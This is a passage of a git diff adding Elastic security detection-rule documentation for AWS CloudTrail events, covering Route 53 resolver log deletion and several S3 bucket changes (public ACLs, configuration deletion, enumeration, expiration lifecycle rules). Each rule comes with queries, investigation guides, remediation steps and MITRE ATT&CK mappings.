(Terraform, CloudFormation, CDK) may regularly modify hosted zone associations. + - If confirmed legitimate, consider excluding specific automation IAM roles. + +- **Migration or Restructuring Events** + - Large-scale cloud migrations or VPC re-architecture work may trigger frequent legitimate associations. + + +*Response and remediation* + + +- **Revoke Unauthorized Access** + - If the association is unauthorized, review and restrict IAM permissions for the actor. + - Remove the VPC association if it is not intended. + +- **Investigate Potential Impact** + - Review internal DNS query logs and VPC flow logs for any misuse, suspicious lookups, or unauthorized cross-VPC traffic. + +- **Strengthen IAM Controls** + - Limit `route53:AssociateVPCWithHostedZone` to specific administrative roles. + - Require MFA for accounts with Route 53 and VPC modification permissions. + +- **Monitor for Related Activity** + - Add monitoring for other hosted zone modifications, new VPC creation, and cross-account network configurations. + +- **Communicate and Document** + - Notify cloud networking and security operations of unauthorized changes. + - Document findings and update policy controls or automation baselines. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: route53.amazonaws.com + and event.action: AssociateVPCWithHostedZone + and event.outcome: success + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Acquire Infrastructure +** ID: T1583 +** Reference URL: https://attack.mitre.org/techniques/T1583/ +* Sub-technique: +** Name: Domains +** ID: T1583.001 +** Reference URL: https://attack.mitre.org/techniques/T1583/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-resolver-query-log-configuration-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-resolver-query-log-configuration-deleted.asciidoc new file mode 100644 index 0000000000..cc5dd7d2b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-resolver-query-log-configuration-deleted.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-aws-route-53-resolver-query-log-configuration-deleted]] +=== AWS Route 53 Resolver Query Log Configuration Deleted + +Identifies the deletion of an Amazon Route 53 Resolver Query Log Configuration. Resolver query logs provide critical visibility into DNS activity across VPCs, including lookups made by EC2 instances, containers, Lambda functions, and other AWS resources. Deleting a query log configuration immediately stops DNS query and response logging for the associated VPC. Adversaries may delete these configurations to evade detection, suppress forensic evidence, or degrade security monitoring capabilities. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_route53resolver_DeleteResolverQueryLogConfig.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Route 53 +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Route 53 + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Route 53 Resolver Query Log Configuration Deleted* + + +Route 53 Resolver query logs provide essential telemetry for DNS visibility across AWS environments. Deleting a Resolver Query Log Configuration immediately halts DNS logging for one or more VPCs, creating a significant monitoring gap. Adversaries may intentionally delete these configurations to hide malicious activity. This rule detects successful invocations of `DeleteResolverQueryLogConfig`. + + +*Possible investigation steps* + + +**Validate the actor and request origin** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deletion. Confirm whether the identity normally manages Route53 Resolver resources or VPC-level DNS configuration. +- Examine `source.ip`, `source.address`, `source.geo` fields and `user_agent.original` to determine whether the request originated from an expected network path or automation role. Whether API calls were made via console, CLI, SDK, or custom tooling. + +**Understand what was deleted and the impacted environment** +- Inspect `aws.cloudtrail.request_parameters` and `aws.cloudtrail.response_elements` to identify the Query Log Configuration ID, Associated VPCs and destinations (e.g., CloudWatch Log Group, S3 bucket, Kinesis stream). +- Determine whether these VPCs support production workloads, contain regulated or sensitive data, host internet-facing or privileged workloads (e.g., EKS clusters, directory services, bastion hosts). + +**Correlate for intent and related activity** +- Use `@timestamp` to correlate the deletion with: + - Prior `PutResolverQueryLogConfig` or `AssociateResolverQueryLogConfig` modifications. + - IAM permission changes or STS session activities. + - Recent DNS anomalies if logs were active prior to deletion. +- Pivot on the same `aws.cloudtrail.user_identity.arn` to identify: + - Additional logging-related tampering (CloudTrail, VPC Flow Logs, S3 server access logs). + - Resource isolation or privilege escalation attempts. + - Suspicious EC2, Lambda, or container workload behavior. + +**Validate operational context** +- Check whether a change request, maintenance window, or migration task was underway that could explain the deletion. +- Confirm with networking, SRE, or platform engineering teams whether a logging pipeline redesign was in progress, a deprecated log config was intentionally removed, infrastructure-as-code (IaC) automation recently applied updates that removed the configuration. + + +*False positive analysis* + + +- **Legitimate network and logging redesign** + - Deletions performed during planned VPC migrations, resolver logging pipeline upgrades, or CloudWatch/S3 restructuring may be benign. +- **Expected IaC behavior** + - Terraform, CloudFormation, or CDK stacks may destroy and recreate logging configurations during updates. + Validate pipeline activity and automation roles to avoid noise. + + +*Response and remediation* + + +**Contain and restore visibility** +- If unauthorized activity is suspected: + - Immediately re-create the Resolver Query Log Configuration. + - Re-associate the configuration with the affected VPCs to restore DNS visibility. + - Verify that CloudWatch Log Groups or S3 destinations have not been deleted or altered. + +**Investigate access and scope of impact** +- Review IAM permissions assigned to the actor: + - Identify whether privilege escalation or role compromise occurred. + - Validate that other high-impact logging or monitoring configurations (CloudTrail, VPC Flow Logs, GuardDuty) remain intact. +- Perform a DNS-focused threat hunt: + - Analyze prior logged queries for indicators of malware, C2 infrastructure, or suspicious domains before the logging gap. + +**Strengthen defensive controls** +- Restrict sensitive operations by: + - Limiting `route53resolver:DeleteResolverQueryLogConfig` to a small number of privileged roles. + - Adding IAM condition keys to constrain deletion operations by source IP, region, or principal ARN. +- Enable AWS Config or Security Hub controls that: + - Detect missing or deleted query log configurations. + - Enforce continuous logging for critical VPCs. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: route53resolver.amazonaws.com + and event.action: DeleteResolverQueryLogConfig + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-acl-modified-to-allow-public-access-by-new-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-acl-modified-to-allow-public-access-by-new-identity.asciidoc new file mode 100644 index 0000000000..32988a727e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-acl-modified-to-allow-public-access-by-new-identity.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-34-aws-s3-bucket-acl-modified-to-allow-public-access-by-new-identity]] +=== AWS S3 Bucket ACL Modified to Allow Public Access by New Identity + +Detects a principal modifying an S3 bucket ACL to grant public read or write access that has not been observed doing so within the history window, using canned ACLs such as public-read or public-read-write. ACL-based public access is a distinct API path (PutBucketAcl) that can bypass some Block Public Access controls. Monitoring for new identities performing this change helps surface freshly compromised credentials being used to stage data for exfiltration or inadvertently expose sensitive content. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketAcl.html +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket ACL Modified to Allow Public Access by New Identity* + + +This rule fires when a `PutBucketAcl` call sets a canned ACL that grants public or broad access. Unlike bucket policies, bucket ACLs are a legacy mechanism that bypasses some newer Block Public Access controls and can inadvertently or deliberately expose bucket contents to unauthenticated internet users. + + +*Possible investigation steps* + + +- Identify the modifying principal (`aws.cloudtrail.user_identity.arn`) and determine whether they are authorized to modify S3 bucket ACLs. +- Review `aws.cloudtrail.request_parameters` to confirm the specific canned ACL applied (`public-read`, `public-read-write`). +- Check whether AWS S3 Block Public Access is enabled at the account or bucket level — if so, it may still be preventing effective public exposure even though this ACL change succeeded. +- Enumerate the bucket contents to assess the sensitivity of any exposed data. +- Check for recent `GetObject` or `ListObjects` calls from unauthenticated sources against the same bucket. + + +*False positive analysis* + + +- Static website hosting buckets are commonly configured with `public-read` ACLs. + + +*Response and remediation* + + +- If unauthorized, immediately reset the bucket ACL to `private` using `PutBucketAcl`. +- Enable S3 Block Public Access at the account level to prevent future ACL-based public exposure across all buckets. +- Review the bucket's object-level access log for any unauthorized reads that occurred after the ACL change. + + +==== Setup + + +The AWS CloudTrail integration must be enabled and configured to collect S3 management events (`s3.amazonaws.com`). + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: "PutBucketAcl" + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + and aws.cloudtrail.flattened.request_parameters.x-amz-acl: ("public-read" or "public-read-write") + and not user_agent.original: (*Terraform* or *terraform* or "cloudformation.amazonaws.com" or *pulumi* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-configuration-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-configuration-deletion.asciidoc new file mode 100644 index 0000000000..085ef2fc52 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-configuration-deletion.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-aws-s3-bucket-configuration-deletion]] +=== AWS S3 Bucket Configuration Deletion + +Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketPolicy.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketReplication.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketCors.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketEncryption.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 +* Tactic: Defense Evasion +* Tactic: Impact +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Ransomware + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Configuration Deletion* + + +Amazon S3 is a scalable storage service where configurations like policies, replication, and encryption ensure data security and compliance. The detection rule monitors successful deletions of these configurations via the following APIs: `DeleteBucketPolicy`, `DeleteBucketReplication`, `DeleteBucketCors`, `DeleteBucketEncryption` or `DeleteBucketLifecycle`. These operations can be used by an adversary to remove visibility, erase governance or compliance controls, or prepare a bucket for destructive or exfiltration activity. +Deleting or disabling important configurations may hamper audit trails, hide malicious changes, or reduce the ability for recovery. The detection of these deletes is therefore a potential indicator of defense evasion or impact techniques. + + +*Possible investigation steps* + + +- **Identify the Actor and Context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` and `aws.cloudtrail.user_identity.type` to identify who performed the deletion. + - Determine whether the actor typically manages bucket configurations, or if this is an unusual identity for this kind of operation. + - Check `source.ip`, `user_agent.original`, `cloud.region` for anomalous behaviour (unfamiliar IPs, new tooling or region, off-hours actions). + +- **Determine the Affected Bucket and Configuration Type** + - Examine `aws.cloudtrail.request_parameters` (and `aws.cloudtrail.resources.arn`) to identify the bucket and the sub-resource that was removed. + - Determine whether the bucket is used for critical data (audit logs, backups, data warehouse). If so, the deletion is higher risk. + +- **Correlate with Other Activity to Establish Chain of Events** + - Search for preceding or concurrent CloudTrail events by the same actor or on the same bucket, e.g.: + - Removal of logging or access controls (`PutBucketLogging`, `PutBucketAcl`, `PutBucketPolicy`). + - Object-level actions soon after configuration removal (`DeleteObject`, `DeleteObjects`, `PutObject`, cross-account copy) that suggest data removal or exfiltration. + - Review for configuration additions or changes immediately prior (e.g., versioning disabled, replication removed) — could form part of a larger attack sequence. + +- **Evaluate Intent and Risk** + - Confirm whether the change is aligned with an approved change control process (maintenance, re-architecting, cost-optimization). + - If no documented justification, or if it affects buckets with sensitive or compliance-related data, treat it as potential malicious behavior. + - Prioritize buckets where configuration deletion significantly reduces visibility or recovery capability. + + +*False positive analysis* + + +- **Scheduled Maintenance or Re-architecture**: + - Valid operations may include migrating buckets, retiring services, or reorganizing storage; verify through change logs. +- **Automation/DevOps Activity**: + - Infrastructure-as-Code pipelines or lifecycle clean-up tasks may remove configurations; validate known automation scopes and service-principals. +- **Test/Development Buckets**: + - Non-production environments may frequently change bucket configurations; document and consider whitelisting accordingly. + + +*Response and remediation* + + +**Containment & Immediate Actions** +- Temporarily restrict the IAM user or role that performed the deletion, especially for `DeleteBucketPolicy`, `DeleteBucketEncryption`, or `DeleteBucketLifecycle`. +- Restore missing configurations as soon as possible (e.g., re-apply bucket policy, lifecycle rules, inventory configuration) to prevent further blind spots. + +**Investigation & Scope Assessment** +- Using CloudTrail and S3 Data Events, check object‐level activity from the timeframe immediately before and after the configuration deletion. Look for bulk deletes, new uploads, or copies to external accounts. +- Check whether other buckets in the account suffered similar configuration changes – potentially part of a wider campaign. + +**Recovery & Hardening** +- Recover affected bucket configurations and ensure they match your organizational baseline and compliance standards (e.g., logging enabled, inventory configured, lifecycle rules active). +- Enable AWS Config rules such as `s3-bucket-policy-check`, `s3-bucket-lifecycle-configuration-check`, `s3-bucket-logging-enabled` to monitor for unauthorized changes. +- Apply least‐privilege for configuration deletion permissions; segregate duties so bucket config deletion can only be done via controlled workflows and require multi-step approval. + +**Lessons Learned & Prevention** +- Conduct a post-incident review to determine root cause (credential compromise, misconfigured automation, malicious insider) and strengthen monitoring, alerting and access controls accordingly. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and + event.provider:s3.amazonaws.com and + event.action:(DeleteBucketPolicy or + DeleteBucketReplication or + DeleteBucketCors or + DeleteBucketEncryption or + DeleteBucketLifecycle) and + event.outcome:success + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-enumeration-or-brute-force.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-enumeration-or-brute-force.asciidoc new file mode 100644 index 0000000000..a790a5d862 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-enumeration-or-brute-force.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-aws-s3-bucket-enumeration-or-brute-force]] +=== AWS S3 Bucket Enumeration or Brute Force + +Identifies a high number of failed S3 operations against a single bucket from a single source address within a short timeframe. This activity can indicate attempts to collect bucket objects or cause an increase in billing to an account via internal "AccessDenied" errors. + +*Rule type*: threshold + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/@maciej.pocwierz/how-an-empty-s3-bucket-can-make-your-aws-bill-explode-934a383cb8b1 +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/ErrorCodeBilling.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Log Auditing +* Tactic: Impact +* Tactic: Discovery +* Tactic: Collection +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: Threshold +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Enumeration or Brute Force* + + +This rule detects when many failed S3 operations (HTTP 403 AccessDenied) hit a single bucket from a single source address in a short window. This can indicate bucket name enumeration, object/key guessing, or brute-force style traffic intended to drive cost or probe for misconfigurations. 403 requests from outside the bucket owner’s account/organization are not billed, but 4XX from inside the owner’s account/org can still incur charges. Prioritize confirming who is making the calls and where they originate. + + +*Possible investigation steps* + + +- **Investigate in Timeline.** Investigate the alert in timeline (Take action -> Investigate in timeline) to retrieve and review all of the raw CloudTrail events that contributed to the threshold alert. Threshold alerts only display the grouped fields; Timeline provides a way to see individual event details such as request parameters, full error messages, and additional user context. + +- **Confirm entity & target.** Note the rule’s threshold and window. Identify the target bucket (`tls.client.server_name`) and the source (`source.address`). Verify the caller identity details via any available `aws.cloudtrail.user_identity` fields. + +- **Actor & session context.** In CloudTrail events, pivot 15–30 minutes around the spike for the same `source.address` or principal. Determine if the source is: + - **External** to your account/organization (recon/cost DDoS risk is lower for you due to 2024 billing change). + - **Internal** (same account/org)—higher cost risk and possible misuse of internal automation. + +- **Bucket posture snapshot.** Record S3 Block Public Access, Bucket Policy, ACLs, and whether Versioning/Object Lock are enabled. Capture any recent `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, or lifecycle changes. + +- **Blast radius.** Check for similar spikes to other buckets/regions, or parallel spikes from the same source. Review any GuardDuty S3 findings and AWS Config drift related to the bucket or principal. + +- **Business context.** Contact the bucket/app owner. Validate whether a migration, scanner, or broken job could legitimately cause bursts. + + +*False positive analysis* + + +- **Expected jobs / broken automation.** Data movers, posture scanners, or failed credentials can generate 403 storms. Validate with `userAgent`, ARNs, change windows, and environment (dev/stage vs prod). +- **External probing.** Internet-origin enumeration often looks like uniform 403s from transient or cloud-provider IPs and typically has no business impact and no billing if outside your account/org. Tune thresholds or allowlist known scanners if appropriate. + + +*Response and remediation* + + +**Immediate, low-risk actions** +- **Preserve evidence.** Export CloudTrail records (±30 minutes) for the bucket and source address into an evidence bucket with restricted access. +- **Notify owners.** Inform the bucket/application owner and security lead; confirm any maintenance windows. + +**Containment options** +- **External-origin spikes:** Verify Block Public Access is enforced and bucket policies are locked down. Optionally apply a temporary deny-all bucket policy allowing only IR/admin roles while scoping. +- **Internal-origin spikes:** Identify the principal. Rotate access keys for IAM users, or restrict involved roles (temporary deny/SCP, remove risky policies). Pause broken jobs/pipelines until validated. + +**Scope & hunting** +- Review Timeline and CloudTrail for related events: `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, lifecycle changes, unusual `PutObject`/`DeleteObject` volumes, or cross-account access. +- Check GuardDuty S3 and Config drift findings for signs of tampering or lateral movement. + +**Recovery & hardening** +- If data impact suspected: with Versioning, restore known-good versions; otherwise, recover from backups/replicas. +- Enable Versioning on critical buckets going forward; evaluate Object Lock legal hold if enabled. +- Ensure Block Public Access, least-privilege IAM policies, CloudTrail data events for S3, and GuardDuty protections are consistently enforced. + + +*Additional information* + + +- https://docs.aws.amazon.com/AmazonS3/latest/userguide/ErrorCodeBilling.html[AWS S3 billing for error responses]: see latest AWS docs on which error codes are billed. +- https://aws.amazon.com/about-aws/whats-new/2024/05/amazon-s3-no-charge-http-error-codes/[AWS announcement (Aug 2024)]: 403s from outside the account/org are not billed. +- https://github.com/aws-samples/aws-incident-response-playbooks/[AWS IR Playbooks]: NIST-aligned template for evidence, containment, eradication, recovery, post-incident. +- https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]: Practical response steps for account and bucket-level abuse. + + +==== Rule query + + +[source, js] +---------------------------------- + data_stream.dataset: "aws.cloudtrail" and + event.provider : "s3.amazonaws.com" and + aws.cloudtrail.error_code : "AccessDenied" and + tls.client.server_name : * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Financial Theft +** ID: T1657 +** Reference URL: https://attack.mitre.org/techniques/T1657/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Technique: +** Name: Cloud Storage Object Discovery +** ID: T1619 +** Reference URL: https://attack.mitre.org/techniques/T1619/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc new file mode 100644 index 0000000000..241319c082 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-aws-s3-bucket-expiration-lifecycle-configuration-added]] +=== AWS S3 Bucket Expiration Lifecycle Configuration Added + +Identifies the addition of an expiration lifecycle configuration to an Amazon S3 bucket. S3 lifecycle rules can automatically delete or transition objects after a defined period. Adversaries can abuse them by configuring auto-deletion of logs, forensic evidence, or sensitive objects to cover their tracks. This rule detects the use of the PutBucketLifecycle or PutBucketLifecycleConfiguration APIs with Expiration parameters, which may indicate an attempt to automate the removal of data to hinder investigation or maintain operational secrecy after malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 +* Tactic: Defense Evasion +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Expiration Lifecycle Configuration Added* + + +This rule detects when a lifecycle expiration policy is added to an S3 bucket via the `PutBucketLifecycle` or `PutBucketLifecycleConfiguration` API. Note: `PutBucketLifecycleConfiguration` is the newer supported API call, however both of these API calls show up as `PutBucketLifecycle` in Cloudtrail https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-bucket-level-tracking[ref]. +Lifecycle expiration automatically deletes objects after a defined period (`Expiration:Days`), which can be leveraged by adversaries to erase logs, exfiltration evidence, or security artifacts before detection and response teams can review them. + +Because deletion is automated and often silent, detecting the initial configuration event is critical. + + +*Possible investigation steps* + + +**Identify the actor and execution context** + +- **Principal and Identity Type**: + Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id`. + Determine if the actor is an IAM user, role, or automation service account. + - Unusual: temporary credentials, federated roles, or previously inactive accounts. +- **Source Information**: + Review `source.ip`, `cloud.region`, and `user_agent.original` for unexpected geolocations, tool usage (CLI, SDK, automation service), or newly-observed hosts. +- **Timestamp correlation**: + Use `@timestamp` to check if this activity occurred during change windows or off-hours. + +**Examine the lifecycle configuration details** +- Extract details from `aws.cloudtrail.request_parameters`: + - `Expiration`: Number of days until deletion (e.g., `Days=1` indicates rapid expiry). + - `Prefix`: If limited to certain object paths (e.g., `/logs/`, `/tmp/`). + - `Status`: `Enabled` vs. `Disabled`. + - `ID` or rule name: May reveal purpose (“cleanup-test”, “delete-logs”). +- Determine the affected bucket from `aws.cloudtrail.resources.arn` or `aws.cloudtrail.resources.type`. + Cross-check the bucket’s purpose (e.g., log storage, data lake, analytics export, threat forensics). + - High-risk if the bucket contains audit, CloudTrail, or application logs. + +**Correlate with related AWS activity** +Use AWS CloudTrail search or your SIEM to pivot for: +- **Prior suspicious activity**: + - `DeleteObject`, `PutBucketPolicy`, `PutBucketAcl`, or `PutBucketLogging` changes to disable visibility. + - IAM changes such as `AttachUserPolicy` or `CreateAccessKey` that may have enabled this modification. +- **Subsequent changes**: + - `PutBucketLifecycle` events in other buckets (repeated pattern). + - Rapid `DeleteObject` events or object expiration confirmations. +- **Cross-account activity**: + - Lifecycle rules followed by replication or cross-account copy 